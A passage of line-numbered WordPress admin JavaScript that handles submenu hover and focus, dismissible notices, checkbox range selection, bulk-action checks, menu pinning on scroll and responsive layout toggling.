976 $adminmenu.find( 'a.wp-has-submenu' ).on( mobileEvent + '.wp-mobile-hover', function( event ) {
977 var $menuItem = $(this).parent();
978
979 if ( $adminmenu.data( 'wp-responsive' ) ) {
980 return;
981 }
982
983 /*
984 * Show the sub instead of following the link if:
985 * - the submenu is not open.
986 * - the submenu is not shown inline or the menu is not folded.
987 */
988 if ( ! $menuItem.hasClass( 'opensub' ) && ( ! $menuItem.hasClass( 'wp-menu-open' ) || $menuItem.width() < 40 ) ) {
989 event.preventDefault();
990 adjustSubmenu( $menuItem );
991 $adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
992 $menuItem.addClass('opensub');
993 }
994 });
995 }
996
997 if ( ! isIOS && ! isAndroid ) {
998 $adminmenu.find( 'li.wp-has-submenu' ).hoverIntent({
999
1000 /**
1001 * Opens the submenu when hovered over the menu item for desktops.
1002 *
1003 * @return {void}
1004 */
1005 over: function() {
1006 var $menuItem = $( this ),
1007 $submenu = $menuItem.find( '.wp-submenu' ),
1008 top = parseInt( $submenu.css( 'top' ), 10 );
1009
1010 if ( isNaN( top ) || top > -5 ) { // The submenu is visible.
1011 return;
1012 }
1013
1014 if ( $adminmenu.data( 'wp-responsive' ) ) {
1015 // The menu is in responsive mode, bail.
1016 return;
1017 }
1018
1019 adjustSubmenu( $menuItem );
1020 $adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
1021 $menuItem.addClass( 'opensub' );
1022 },
1023
1024 /**
1025 * Closes the submenu when no longer hovering the menu item.
1026 *
1027 * @return {void}
1028 */
1029 out: function(){
1030 if ( $adminmenu.data( 'wp-responsive' ) ) {
1031 // The menu is in responsive mode, bail.
1032 return;
1033 }
1034
1035 $( this ).removeClass( 'opensub' ).find( '.wp-submenu' ).css( 'margin-top', '' );
1036 },
1037 timeout: 200,
1038 sensitivity: 7,
1039 interval: 90
1040 });
1041
1042 /**
1043 * Opens the submenu on when focused on the menu item.
1044 *
1045 * @param {Event} event The event object.
1046 *
1047 * @return {void}
1048 */
1049 $adminmenu.on( 'focus.adminmenu', '.wp-submenu a', function( event ) {
1050 if ( $adminmenu.data( 'wp-responsive' ) ) {
1051 // The menu is in responsive mode, bail.
1052 return;
1053 }
1054
1055 $( event.target ).closest( 'li.menu-top' ).addClass( 'opensub' );
1056
1057 /**
1058 * Closes the submenu on blur from the menu item.
1059 *
1060 * @param {Event} event The event object.
1061 *
1062 * @return {void}
1063 */
1064 }).on( 'blur.adminmenu', '.wp-submenu a', function( event ) {
1065 if ( $adminmenu.data( 'wp-responsive' ) ) {
1066 return;
1067 }
1068
1069 $( event.target ).closest( 'li.menu-top' ).removeClass( 'opensub' );
1070
1071 /**
1072 * Adjusts the size for the submenu.
1073 *
1074 * @return {void}
1075 */
1076 }).find( 'li.wp-has-submenu.wp-not-current-submenu' ).on( 'focusin.adminmenu', function() {
1077 adjustSubmenu( $( this ) );
1078 });
1079 }
1080
1081 /*
1082 * The `.below-h2` class is here just for backward compatibility with plugins
1083 * that are (incorrectly) using it. Do not use. Use `.inline` instead. See #34570.
1084 * If '.wp-header-end' is found, append the notices after it otherwise
1085 * after the first h1 or h2 heading found within the main content.
1086 */
1087 if ( ! $headerEnd.length ) {
1088 $headerEnd = $( '.wrap h1, .wrap h2' ).first();
1089 }
1090 $( 'div.updated, div.error, div.notice' ).not( '.inline, .below-h2' ).insertAfter( $headerEnd );
1091
1092 /**
1093 * Makes notices dismissible.
1094 *
1095 * @since 4.4.0
1096 *
1097 * @return {void}
1098 */
1099 function makeNoticesDismissible() {
1100 $( '.notice.is-dismissible' ).each( function() {
1101 var $el = $( this ),
1102 $button = $( '<button type="button" class="notice-dismiss"><span class="screen-reader-text"></span></button>' );
1103
1104 if ( $el.find( '.notice-dismiss' ).length ) {
1105 return;
1106 }
1107
1108 // Ensure plain text.
1109 $button.find( '.screen-reader-text' ).text( __( 'Dismiss this notice.' ) );
1110 $button.on( 'click.wp-dismiss-notice', function( event ) {
1111 event.preventDefault();
1112 $el.fadeTo( 100, 0, function() {
1113 $el.slideUp( 100, function() {
1114 $el.remove();
1115 });
1116 });
1117 });
1118
1119 $el.append( $button );
1120 });
1121 }
1122
1123 $document.on( 'wp-updates-notice-added wp-plugin-install-error wp-plugin-update-error wp-plugin-delete-error wp-theme-install-error wp-theme-delete-error wp-notice-added', makeNoticesDismissible );
1124
1125 // Init screen meta.
1126 screenMeta.init();
1127
1128 /**
1129 * Checks a checkbox.
1130 *
1131 * This event needs to be delegated. Ticket #37973.
1132 *
1133 * @return {boolean} Returns whether a checkbox is checked or not.
1134 */
1135 $body.on( 'click', 'tbody > tr > .check-column :checkbox', function( event ) {
1136 // Shift click to select a range of checkboxes.
1137 if ( 'undefined' == event.shiftKey ) { return true; }
1138 if ( event.shiftKey ) {
1139 if ( !lastClicked ) { return true; }
1140 checks = $( lastClicked ).closest( 'form' ).find( ':checkbox' ).filter( ':visible:enabled' );
1141 first = checks.index( lastClicked );
1142 last = checks.index( this );
1143 checked = $(this).prop('checked');
1144 if ( 0 < first && 0 < last && first != last ) {
1145 sliced = ( last > first ) ? checks.slice( first, last ) : checks.slice( last, first );
1146 sliced.prop( 'checked', function() {
1147 if ( $(this).closest('tr').is(':visible') )
1148 return checked;
1149
1150 return false;
1151 });
1152 }
1153 }
1154 lastClicked = this;
1155
1156 // Toggle the "Select all" checkboxes depending if the other ones are all checked or not.
1157 var unchecked = $(this).closest('tbody').find('tr').find(':checkbox').filter(':visible:enabled').not(':checked');
1158
1159 /**
1160 * Determines if all checkboxes are checked.
1161 *
1162 * @return {boolean} Returns true if there are no unchecked checkboxes.
1163 */
1164 $(this).closest('table').children('thead, tfoot').find(':checkbox').prop('checked', function() {
1165 return ( 0 === unchecked.length );
1166 });
1167
1168 return true;
1169 });
1170
1171 /**
1172 * Controls all the toggles on bulk toggle change.
1173 *
1174 * When the bulk checkbox is changed, all the checkboxes in the tables are changed accordingly.
1175 * When the shift-button is pressed while changing the bulk checkbox the checkboxes in the table are inverted.
1176 *
1177 * This event needs to be delegated. Ticket #37973.
1178 *
1179 * @param {Event} event The event object.
1180 *
1181 * @return {boolean}
1182 */
1183 $body.on( 'click.wp-toggle-checkboxes', 'thead .check-column :checkbox, tfoot .check-column :checkbox', function( event ) {
1184 var $this = $(this),
1185 $table = $this.closest( 'table' ),
1186 controlChecked = $this.prop('checked'),
1187 toggle = event.shiftKey || $this.data('wp-toggle');
1188
1189 $table.children( 'tbody' ).filter(':visible')
1190 .children().children('.check-column').find(':checkbox')
1191 /**
1192 * Updates the checked state on the checkbox in the table.
1193 *
1194 * @return {boolean} True checks the checkbox, False unchecks the checkbox.
1195 */
1196 .prop('checked', function() {
1197 if ( $(this).is(':hidden,:disabled') ) {
1198 return false;
1199 }
1200
1201 if ( toggle ) {
1202 return ! $(this).prop( 'checked' );
1203 } else if ( controlChecked ) {
1204 return true;
1205 }
1206
1207 return false;
1208 });
1209
1210 $table.children('thead, tfoot').filter(':visible')
1211 .children().children('.check-column').find(':checkbox')
1212
1213 /**
1214 * Syncs the bulk checkboxes on the top and bottom of the table.
1215 *
1216 * @return {boolean} True checks the checkbox, False unchecks the checkbox.
1217 */
1218 .prop('checked', function() {
1219 if ( toggle ) {
1220 return false;
1221 } else if ( controlChecked ) {
1222 return true;
1223 }
1224
1225 return false;
1226 });
1227 });
1228
1229 /**
1230 * Marries a secondary control to its primary control.
1231 *
1232 * @param {jQuery} topSelector The top selector element.
1233 * @param {jQuery} topSubmit The top submit element.
1234 * @param {jQuery} bottomSelector The bottom selector element.
1235 * @param {jQuery} bottomSubmit The bottom submit element.
1236 * @return {void}
1237 */
1238 function marryControls( topSelector, topSubmit, bottomSelector, bottomSubmit ) {
1239 /**
1240 * Updates the primary selector when the secondary selector is changed.
1241 *
1242 * @since 5.7.0
1243 *
1244 * @return {void}
1245 */
1246 function updateTopSelector() {
1247 topSelector.val($(this).val());
1248 }
1249 bottomSelector.on('change', updateTopSelector);
1250
1251 /**
1252 * Updates the secondary selector when the primary selector is changed.
1253 *
1254 * @since 5.7.0
1255 *
1256 * @return {void}
1257 */
1258 function updateBottomSelector() {
1259 bottomSelector.val($(this).val());
1260 }
1261 topSelector.on('change', updateBottomSelector);
1262
1263 /**
1264 * Triggers the primary submit when then secondary submit is clicked.
1265 *
1266 * @since 5.7.0
1267 *
1268 * @return {void}
1269 */
1270 function triggerSubmitClick(e) {
1271 e.preventDefault();
1272 e.stopPropagation();
1273
1274 topSubmit.trigger('click');
1275 }
1276 bottomSubmit.on('click', triggerSubmitClick);
1277 }
1278
1279 // Marry the secondary "Bulk actions" controls to the primary controls:
1280 marryControls( $('#bulk-action-selector-top'), $('#doaction'), $('#bulk-action-selector-bottom'), $('#doaction2') );
1281
1282 // Marry the secondary "Change role to" controls to the primary controls:
1283 marryControls( $('#new_role'), $('#changeit'), $('#new_role2'), $('#changeit2') );
1284
1285 var addAdminNotice = function( data ) {
1286 var $notice = $( data.selector ),
1287 $headerEnd = $( '.wp-header-end' ),
1288 type,
1289 dismissible,
1290 $adminNotice;
1291
1292 delete data.selector;
1293
1294 dismissible = ( data.dismissible && data.dismissible === true ) ? ' is-dismissible' : '';
1295 type = ( data.type ) ? data.type : 'info';
1296
1297 $adminNotice = '<div id="' + data.id + '" class="notice notice-' + data.type + dismissible + '"><p>' + data.message + '</p></div>';
1298
1299 // Check if this admin notice already exists.
1300 if ( ! $notice.length ) {
1301 $notice = $( '#' + data.id );
1302 }
1303
1304 if ( $notice.length ) {
1305 $notice.replaceWith( $adminNotice );
1306 } else if ( $headerEnd.length ) {
1307 $headerEnd.after( $adminNotice );
1308 } else {
1309 if ( 'customize' === pagenow ) {
1310 $( '.customize-themes-notifications' ).append( $adminNotice );
1311 } else {
1312 $( '.wrap' ).find( '> h1' ).after( $adminNotice );
1313 }
1314 }
1315
1316 $document.trigger( 'wp-notice-added' );
1317 };
1318
1319 $( '.bulkactions' ).parents( 'form' ).on( 'submit', function( event ) {
1320 var form = this,
1321 submitterName = event.originalEvent && event.originalEvent.submitter ? event.originalEvent.submitter.name : false,
1322 currentPageSelector = form.querySelector( '#current-page-selector' );
1323
1324 if ( currentPageSelector && currentPageSelector.defaultValue !== currentPageSelector.value ) {
1325 return; // Pagination form submission.
1326 }
1327
1328 // Observe submissions from posts lists for 'bulk_action' or users lists for 'new_role'.
1329 var bulkFieldRelations = {
1330 'bulk_action' : window.bulkActionObserverIds.bulk_action,
1331 'changeit' : window.bulkActionObserverIds.changeit
1332 };
1333 if ( ! Object.keys( bulkFieldRelations ).includes( submitterName ) ) {
1334 return;
1335 }
1336
1337 var values = new FormData(form);
1338 var value = values.get( bulkFieldRelations[ submitterName ] ) || '-1';
1339
1340 // Check that the action is not the default one.
1341 if ( value !== '-1' ) {
1342 // Check that at least one item is selected.
1343 var itemsSelected = form.querySelectorAll( '.wp-list-table tbody .check-column input[type="checkbox"]:checked' );
1344
1345 if ( itemsSelected.length > 0 ) {
1346 return;
1347 }
1348 }
1349 event.preventDefault();
1350 event.stopPropagation();
1351 $( 'html, body' ).animate( { scrollTop: 0 } );
1352
1353 var errorMessage = __( 'Please select at least one item to perform this action on.' );
1354 addAdminNotice( {
1355 id: 'no-items-selected',
1356 type: 'error',
1357 message: errorMessage,
1358 dismissible: true,
1359 } );
1360
1361 wp.a11y.speak( errorMessage );
1362 });
1363
1364 /**
1365 * Shows row actions on focus of its parent container element or any other elements contained within.
1366 *
1367 * @return {void}
1368 */
1369 $( '#wpbody-content' ).on({
1370 focusin: function() {
1371 clearTimeout( transitionTimeout );
1372 focusedRowActions = $( this ).find( '.row-actions' );
1373 // transitionTimeout is necessary for Firefox, but Chrome won't remove the CSS class without a little help.
1374 $( '.row-actions' ).not( this ).removeClass( 'visible' );
1375 focusedRowActions.addClass( 'visible' );
1376 },
1377 focusout: function() {
1378 // Tabbing between post title and .row-actions links needs a brief pause, otherwise
1379 // the .row-actions div gets hidden in transit in some browsers (ahem, Firefox).
1380 transitionTimeout = setTimeout( function() {
1381 focusedRowActions.removeClass( 'visible' );
1382 }, 30 );
1383 }
1384 }, '.table-view-list .has-row-actions' );
1385
1386 // Toggle list table rows on small screens.
1387 $( 'tbody' ).on( 'click', '.toggle-row', function() {
1388 $( this ).closest( 'tr' ).toggleClass( 'is-expanded' );
1389 });
1390
1391 $('#default-password-nag-no').on( 'click', function() {
1392 setUserSetting('default_password_nag', 'hide');
1393 $('div.default-password-nag').hide();
1394 return false;
1395 });
1396
1397 /**
1398 * Handles tab keypresses in theme and plugin file editor textareas.
1399 *
1400 * @param {Event} e The event object.
1401 *
1402 * @return {void}
1403 */
1404 $('#newcontent').on('keydown.wpevent_InsertTab', function(e) {
1405 var el = e.target, selStart, selEnd, val, scroll, sel;
1406
1407 // After pressing escape key (keyCode: 27), the tab key should tab out of the textarea.
1408 if ( e.keyCode == 27 ) {
1409 // When pressing Escape: Opera 12 and 27 blur form fields, IE 8 clears them.
1410 e.preventDefault();
1411 $(el).data('tab-out', true);
1412 return;
1413 }
1414
1415 // Only listen for plain tab key (keyCode: 9) without any modifiers.
1416 if ( e.keyCode != 9 || e.ctrlKey || e.altKey || e.shiftKey )
1417 return;
1418
1419 // After tabbing out, reset it so next time the tab key can be used again.
1420 if ( $(el).data('tab-out') ) {
1421 $(el).data('tab-out', false);
1422 return;
1423 }
1424
1425 selStart = el.selectionStart;
1426 selEnd = el.selectionEnd;
1427 val = el.value;
1428
1429 // If any text is selected, replace the selection with a tab character.
1430 if ( document.selection ) {
1431 el.focus();
1432 sel = document.selection.createRange();
1433 sel.text = '\t';
1434 } else if ( selStart >= 0 ) {
1435 scroll = this.scrollTop;
1436 el.value = val.substring(0, selStart).concat('\t', val.substring(selEnd) );
1437 el.selectionStart = el.selectionEnd = selStart + 1;
1438 this.scrollTop = scroll;
1439 }
1440
1441 // Cancel the regular tab functionality, to prevent losing focus of the textarea.
1442 if ( e.stopPropagation )
1443 e.stopPropagation();
1444 if ( e.preventDefault )
1445 e.preventDefault();
1446 });
1447
1448 // Reset page number variable for new filters/searches but not for bulk actions. See #17685.
1449 if ( pageInput.length ) {
1450
1451 /**
1452 * Handles pagination variable when filtering the list table.
1453 *
1454 * Set the pagination argument to the first page when the post-filter form is submitted.
1455 * This happens when pressing the 'filter' button on the list table page.
1456 *
1457 * The pagination argument should not be touched when the bulk action dropdowns are set to do anything.
1458 *
1459 * The form closest to the pageInput is the post-filter form.
1460 *
1461 * @return {void}
1462 */
1463 pageInput.closest('form').on( 'submit', function() {
1464 /*
1465 * action = bulk action dropdown at the top of the table
1466 */
1467 if ( $('select[name="action"]').val() == -1 && pageInput.val() == currentPage )
1468 pageInput.val('1');
1469 });
1470 }
1471
1472 /**
1473 * Resets the bulk actions when the search button is clicked.
1474 *
1475 * @return {void}
1476 */
1477 $('.search-box input[type="search"], .search-box input[type="submit"]').on( 'mousedown', function () {
1478 $('select[name^="action"]').val('-1');
1479 });
1480
1481 /**
1482 * Scrolls into view when focus.scroll-into-view is triggered.
1483 *
1484 * @param {Event} e The event object.
1485 *
1486 * @return {void}
1487 */
1488 $('#contextual-help-link, #show-settings-link').on( 'focus.scroll-into-view', function(e){
1489 if ( e.target.scrollIntoViewIfNeeded )
1490 e.target.scrollIntoViewIfNeeded(false);
1491 });
1492
1493 /**
1494 * Disables the submit upload buttons when no data is entered.
1495 *
1496 * @return {void}
1497 */
1498 (function(){
1499 var button, input, form = $('form.wp-upload-form');
1500
1501 // Exit when no upload form is found.
1502 if ( ! form.length )
1503 return;
1504
1505 button = form.find('input[type="submit"]');
1506 input = form.find('input[type="file"]');
1507
1508 /**
1509 * Determines if any data is entered in any file upload input.
1510 *
1511 * @since 3.5.0
1512 *
1513 * @return {void}
1514 */
1515 function toggleUploadButton() {
1516 // When no inputs have a value, disable the upload buttons.
1517 button.prop('disabled', '' === input.map( function() {
1518 return $(this).val();
1519 }).get().join(''));
1520 }
1521
1522 // Update the status initially.
1523 toggleUploadButton();
1524 // Update the status when any file input changes.
1525 input.on('change', toggleUploadButton);
1526 })();
1527
1528 /**
1529 * Pins the menu while distraction-free writing is enabled.
1530 *
1531 * @param {Event} event Event data.
1532 *
1533 * @since 4.1.0
1534 *
1535 * @return {void}
1536 */
1537 function pinMenu( event ) {
1538 var windowPos = $window.scrollTop(),
1539 resizing = ! event || event.type !== 'scroll';
1540
1541 if ( isIOS || $adminmenu.data( 'wp-responsive' ) ) {
1542 return;
1543 }
1544
1545 /*
1546 * When the menu is higher than the window and smaller than the entire page.
1547 * It should be adjusted to be able to see the entire menu.
1548 *
1549 * Otherwise it can be accessed normally.
1550 */
1551 if ( height.menu + height.adminbar < height.window ||
1552 height.menu + height.adminbar + 20 > height.wpwrap ) {
1553 unpinMenu();
1554 return;
1555 }
1556
1557 menuIsPinned = true;
1558
1559 // If the menu is higher than the window, compensate on scroll.
1560 if ( height.menu + height.adminbar > height.window ) {
1561 // Check for overscrolling, this happens when swiping up at the top of the document in modern browsers.
1562 if ( windowPos < 0 ) {
1563 // Stick the menu to the top.
1564 if ( ! pinnedMenuTop ) {
1565 pinnedMenuTop = true;
1566 pinnedMenuBottom = false;
1567
1568 $adminMenuWrap.css({
1569 position: 'fixed',
1570 top: '',
1571 bottom: ''
1572 });
1573 }
1574
1575 return;
1576 } else if ( windowPos + height.window > $document.height() - 1 ) {
1577 // When overscrolling at the bottom, stick the menu to the bottom.
1578 if ( ! pinnedMenuBottom ) {
1579 pinnedMenuBottom = true;
1580 pinnedMenuTop = false;
1581
1582 $adminMenuWrap.css({
1583 position: 'fixed',
1584 top: '',
1585 bottom: 0
1586 });
1587 }
1588
1589 return;
1590 }
1591
1592 if ( windowPos > lastScrollPosition ) {
1593 // When a down scroll has been detected.
1594
1595 // If it was pinned to the top, unpin and calculate relative scroll.
1596 if ( pinnedMenuTop ) {
1597 pinnedMenuTop = false;
1598 // Calculate new offset position.
1599 menuTop = $adminMenuWrap.offset().top - height.adminbar - ( windowPos - lastScrollPosition );
1600
1601 if ( menuTop + height.menu + height.adminbar < windowPos + height.window ) {
1602 menuTop = windowPos + height.window - height.menu - height.adminbar;
1603 }
1604
1605 $adminMenuWrap.css({
1606 position: 'absolute',
1607 top: menuTop,
1608 bottom: ''
1609 });
1610 } else if ( ! pinnedMenuBottom && $adminMenuWrap.offset().top + height.menu < windowPos + height.window ) {
1611 // Pin it to the bottom.
1612 pinnedMenuBottom = true;
1613
1614 $adminMenuWrap.css({
1615 position: 'fixed',
1616 top: '',
1617 bottom: 0
1618 });
1619 }
1620 } else if ( windowPos < lastScrollPosition ) {
1621 // When a scroll up is detected.
1622
1623 // If it was pinned to the bottom, unpin and calculate relative scroll.
1624 if ( pinnedMenuBottom ) {
1625 pinnedMenuBottom = false;
1626
1627 // Calculate new offset position.
1628 menuTop = $adminMenuWrap.offset().top - height.adminbar + ( lastScrollPosition - windowPos );
1629
1630 if ( menuTop + height.menu > windowPos + height.window ) {
1631 menuTop = windowPos;
1632 }
1633
1634 $adminMenuWrap.css({
1635 position: 'absolute',
1636 top: menuTop,
1637 bottom: ''
1638 });
1639 } else if ( ! pinnedMenuTop && $adminMenuWrap.offset().top >= windowPos + height.adminbar ) {
1640
1641 // Pin it to the top.
1642 pinnedMenuTop = true;
1643
1644 $adminMenuWrap.css({
1645 position: 'fixed',
1646 top: '',
1647 bottom: ''
1648 });
1649 }
1650 } else if ( resizing ) {
1651 // Window is being resized.
1652
1653 pinnedMenuTop = pinnedMenuBottom = false;
1654
1655 // Calculate the new offset.
1656 menuTop = windowPos + height.window - height.menu - height.adminbar - 1;
1657
1658 if ( menuTop > 0 ) {
1659 $adminMenuWrap.css({
1660 position: 'absolute',
1661 top: menuTop,
1662 bottom: ''
1663 });
1664 } else {
1665 unpinMenu();
1666 }
1667 }
1668 }
1669
1670 lastScrollPosition = windowPos;
1671 }
1672
1673 /**
1674 * Determines the height of certain elements.
1675 *
1676 * @since 4.1.0
1677 *
1678 * @return {void}
1679 */
1680 function resetHeights() {
1681 height = {
1682 window: $window.height(),
1683 wpwrap: $wpwrap.height(),
1684 adminbar: $adminbar.height(),
1685 menu: $adminMenuWrap.height()
1686 };
1687 }
1688
1689 /**
1690 * Unpins the menu.
1691 *
1692 * @since 4.1.0
1693 *
1694 * @return {void}
1695 */
1696 function unpinMenu() {
1697 if ( isIOS || ! menuIsPinned ) {
1698 return;
1699 }
1700
1701 pinnedMenuTop = pinnedMenuBottom = menuIsPinned = false;
1702 $adminMenuWrap.css({
1703 position: '',
1704 top: '',
1705 bottom: ''
1706 });
1707 }
1708
1709 /**
1710 * Pins and unpins the menu when applicable.
1711 *
1712 * @since 4.1.0
1713 *
1714 * @return {void}
1715 */
1716 function setPinMenu() {
1717 resetHeights();
1718
1719 if ( $adminmenu.data('wp-responsive') ) {
1720 $body.removeClass( 'sticky-menu' );
1721 unpinMenu();
1722 } else if ( height.menu + height.adminbar > height.window ) {
1723 pinMenu();
1724 $body.removeClass( 'sticky-menu' );
1725 } else {
1726 $body.addClass( 'sticky-menu' );
1727 unpinMenu();
1728 }
1729 }
1730
1731 if ( ! isIOS ) {
1732 $window.on( 'scroll.pin-menu', pinMenu );
1733 $document.on( 'tinymce-editor-init.pin-menu', function( event, editor ) {
1734 editor.on( 'wp-autoresize', resetHeights );
1735 });
1736 }
1737
1738 /**
1739 * Changes the sortables and responsiveness of metaboxes.
1740 *
1741 * @since 3.8.0
1742 *
1743 * @return {void}
1744 */
1745 window.wpResponsive = {
1746
1747 /**
1748 * Initializes the wpResponsive object.
1749 *
1750 * @since 3.8.0
1751 *
1752 * @return {void}
1753 */
1754 init: function() {
1755 var self = this;
1756
1757 this.maybeDisableSortables = this.maybeDisableSortables.bind( this );
1758
1759 // Modify functionality based on custom activate/deactivate event.
1760 $document.on( 'wp-responsive-activate.wp-responsive', function() {
1761 self.activate();
1762 self.toggleAriaHasPopup( 'add' );
1763 }).on( 'wp-responsive-deactivate.wp-responsive', function() {
1764 self.deactivate();
1765 self.toggleAriaHasPopup( 'remove' );
1766 });
1767
1768 $( '#wp-admin-bar-menu-toggle a' ).attr( 'aria-expanded', 'false' );
1769
1770 // Toggle sidebar when toggle is clicked.
1771 $( '#wp-admin-bar-menu-toggle' ).on( 'click.wp-responsive', function( event ) {
1772 event.preventDefault();
1773
1774 // Close any open toolbar submenus.
1775 $adminbar.find( '.hover' ).removeClass( 'hover' );
1776
1777 $wpwrap.toggleClass( 'wp-responsive-open' );
1778 if ( $wpwrap.hasClass( 'wp-responsive-open' ) ) {
1779 $(this).find('a').attr( 'aria-expanded', 'true' );
1780 $( '#adminmenu a:first' ).trigger( 'focus' );
1781 } else {
1782 $(this).find('a').attr( 'aria-expanded', 'false' );
1783 }
1784 } );
1785
1786 // Close sidebar when target moves outside of toggle and sidebar.
1787 $( document ).on( 'click', function( event ) {
1788 if ( ! $wpwrap.hasClass( 'wp-responsive-open' ) || ! document.hasFocus() ) {
1789 return;
1790 }
1791
1792 var focusIsInToggle = $.contains( $( '#wp-admin-bar-menu-toggle' )[0], event.target );
1793 var focusIsInSidebar = $.contains( $( '#adminmenuwrap' )[0], event.target );
1794
1795 if ( ! focusIsInToggle && ! focusIsInSidebar ) {
1796 $( '#wp-admin-bar-menu-toggle' ).trigger( 'click.wp-responsive' );
1797 }
1798 } );
1799
1800 // Close sidebar when a keypress completes outside of toggle and sidebar.
1801 $( document ).on( 'keyup', function( event ) {
1802 var toggleButton = $( '#wp-admin-bar-menu-toggle' )[0];
1803 if ( ! $wpwrap.hasClass( 'wp-responsive-open' ) ) {
1804 return;
1805 }
1806 if ( 27 === event.keyCode ) {
1807 $( toggleButton ).trigger( 'click.wp-responsive' );
1808 $( toggleButton ).find( 'a' ).trigger( 'focus' );
1809 } else {
1810 if ( 9 === event.keyCode ) {
1811 var sidebar = $( '#adminmenuwrap' )[0];
1812 var focusedElement = event.relatedTarget || document.activeElement;
1813 // A brief delay is required to allow focus to switch to another element.
1814 setTimeout( function() {
1815 var focusIsInToggle = $.contains( toggleButton, focusedElement );
1816 var focusIsInSidebar = $.contains( sidebar, focusedElement );
1817
1818 if ( ! focusIsInToggle && ! focusIsInSidebar ) {
1819 $( toggleButton ).trigger( 'click.wp-responsive' );
1820 }
1821 }, 10 );
1822 }
1823 }
1824 });
1825
1826 // Add menu events.
1827 $adminmenu.on( 'click.wp-responsive', 'li.wp-has-submenu > a', function( event ) {
1828 if ( ! $adminmenu.data('wp-responsive') ) {
1829 return;
1830 }
1831 let state = ( 'false' === $( this ).attr( 'aria-expanded' ) ) ? 'true' : 'false';
1832 $( this ).parent( 'li' ).toggleClass( 'selected' );
1833 $( this ).attr( 'aria-expanded', state );
1834 $( this ).trigger( 'focus' );
1835 event.preventDefault();
1836 });
1837
1838 self.trigger();
1839 $document.on( 'wp-window-resized.wp-responsive', this.trigger.bind( this ) );
1840
1841 // This needs to run later as UI Sortable may be initialized when the document is ready.
1842 $window.on( 'load.wp-responsive', this.maybeDisableSortables );
1843 $document.on( 'postbox-toggled', this.maybeDisableSortables );
1844
1845 // When the screen columns are changed, potentially disable sortables.
1846 $( '#screen-options-wrap input' ).on( 'click', this.maybeDisableSortables );
1847 },
1848
1849 /**
1850 * Disable sortables if there is only one metabox, or the screen is in one column mode. Otherwise, enable sortables.
1851 *
1852 * @since 5.3.0
1853 *
1854 * @return {void}
1855 */
1856 maybeDisableSortables: function() {
1857 var width = navigator.userAgent.indexOf('AppleWebKit/') > -1 ? $window.width() : window.innerWidth;
1858
1859 if (
1860 ( width <= 782 ) ||
1861 ( 1 >= $sortables.find( '.ui-sortable-handle:visible' ).length && jQuery( '.columns-prefs-1 input' ).prop( 'checked' ) )
1862 ) {
1863 this.disableSortables();
1864 } else {
1865 this.enableSortables();
1866 }
1867 },
1868
1869 /**
1870 * Changes properties of body and admin menu.
1871 *
1872 * Pins and unpins the menu and adds the auto-fold class to the body.
1873 * Makes the admin menu responsive and disables the metabox sortables.
1874 *
1875 * @since 3.8.0
1876 *
1877 * @return {void}
1878 */
1879 activate: function() {
1880 setPinMenu();
1881
1882 if ( ! $body.hasClass( 'auto-fold' ) ) {
1883 $body.addClass( 'auto-fold' );
1884 }
1885
1886 $adminmenu.data( 'wp-responsive', 1 );
1887 this.disableSortables();
1888 },
1889
1890 /**
1891 * Changes properties of admin menu and enables metabox sortables.
1892 *
1893 * Pin and unpin the menu.
1894 * Removes the responsiveness of the admin menu and enables the metabox sortables.
1895 *
1896 * @since 3.8.0
1897 *
1898 * @return {void}
1899 */
1900 deactivate: function() {
1901 setPinMenu();
1902 $adminmenu.removeData('wp-responsive');
1903
1904 this.maybeDisableSortables();
1905 },
1906
1907 /**
1908 * Toggles the aria-haspopup attribute for the responsive admin menu.
1909 *
1910 * The aria-haspopup attribute is only necessary for the responsive menu.
1911 * See ticket https://core.trac.wordpress.org/ticket/43095
1912 *
1913 * @since 6.6.0
1914 *
1915 * @param {string} action Whether to add or remove the aria-haspopup attribute.
1916 *
1917 * @return {void}
1918 */
1919 toggleAriaHasPopup: function( action ) {
1920 var elements = $adminmenu.find( '[data-ariahaspopup]' );
1921
1922 if ( action === 'add' ) {
1923 elements.each( function() {
1924 $( this ).attr( 'aria-haspopup', 'menu' ).attr( 'aria-expanded', 'false' );
1925 } );
1926
1927 return;
1928 }
1929
1930 elements.each( function() {
1931 $( this ).removeAttr( 'aria-haspopup' ).removeAttr( 'aria-expanded' );
1932 } );
1933 },
1934
1935 /**
1936 * Sets the responsiveness and enables the overlay based on the viewport width.
1937 *
1938 * @since 3.8.0
1939 *
1940 * @return {void}
1941 */
1942 trigger: function() {
1943 var viewportWidth = getViewportWidth();
1944
1945 // Exclude IE < 9, it doesn't support @media CSS rules.
1946 if ( ! viewportWidth ) {
1947 return;
1948 }
1949
1950 if ( viewportWidth <= 782 ) {
1951 if ( ! wpResponsiveActive ) {
1952 $document.trigger( 'wp-responsive-activate' );
1953 wpResponsiveActive = true;
1954 }
1955 } else {
1956 if ( wpResponsiveActive ) {
1957 $document.trigger( 'wp-responsive-deactivate' );
1958 wpResponsiveActive = false;
1959 }
1960 }
1961
1962 if ( viewportWidth <= 480 ) {
1963 this.enableOverlay();
1964 } else {
1965 this.disableOverlay();
1966 }
1967
1968 this.maybeDisableSortables();
1969 },
1970
1971 /**
1972 * Inserts a responsive overlay and toggles the window.
1973 *
1974 * @since 3.8.0
1975 *
1976 * @return {void}
1977 */
1978 enableOverlay: function() {
1979 if ( $overlay.length === 0 ) {
1980 $overlay = $( '<div id="wp-responsive-overlay"></div>' )
1981 .insertAfter( '#wpcontent' )
1982 .hide()
1983 .on( 'click.wp-responsive', function() {
1984 $toolbar.find( '.menupop.hover' ).removeClass( 'hover' );
1985 $( this ).hide();
1986 });
1987 }
1988
1989 $toolbarPopups.on( 'click.wp-responsive', function() {
1990 $overlay.show();
1991 });
1992 },
1993
1994 /**
1995 * Disables the responsive overlay and removes the overlay.
1996 *
1997 * @since 3.8.0
1998 *
1999 * @return {void}
2000 */
2001 disableOverlay: function() {
2002 $toolbarPopups.off( 'click.wp-responsive' );
2003 $overlay.hide();
2004 },
2005
2006 /**
2007 * Disables sortables.
2008 *
2009 * @since 3.8.0
2010 *
2011 * @return {void}
2012 */
2013 disableSortables: function() {
2014 if ( $sortables.length ) {
2015 try {
2016 $sortables.sortable( 'disable' );
2017 $sortables.find( '.ui-sortable-handle' ).addClass( 'is-non-sortable' );
2018 } catch ( e ) {}
2019 }
2020 },
2021
2022 /**
2023 * Enables sortables.
2024 *
2025 * @since 3.8.0
2026 *
2027 * @return {void}
2028 */
2029 enableSortables: function() {
2030 if ( $sortables.length ) {
2031 try {
2032 $sortables.sortable( 'enable' );
